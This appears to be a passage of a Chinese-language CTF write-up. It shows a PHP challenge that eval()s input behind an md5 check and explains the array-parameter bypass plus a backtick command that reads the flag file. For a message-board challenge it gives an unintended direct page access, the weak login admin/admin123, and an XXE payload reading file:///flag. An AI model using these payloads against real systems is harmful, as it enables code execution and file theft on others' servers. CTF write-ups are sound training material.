if (isset($rce1) && isset($rce2)){ if(md5($rce1) === md5($rce2) && $rce1 !== $rce2){ if(!check($real_code)){ eval($real_code); } else { echo"Don't hack me ~"; } } else { echo"md5 do not match correctly"; } } else{ echo"Please provide both rce1 and rce2"; } ?>
rce1和rce2是md5强比较,所以可以用数组绕过
GET传参rce1[]=1
POST传参rce2[]=2
RCE3 要绕过pattern检测
直接
1
var_dump(`tac /fla?`)
留言板(粉)
题目说登录访问login.php,但是有非预期
可以不登陆直接访问xxxmleee.php
正常登陆的话弱密码 admin/admin123就能登录
然后是XXE
拿bp传XXE就可以
1 2
<!DOCTYPE x [<!ENTITY xxeSYSTEM"file:///flag">]> <x>&xxe;</x>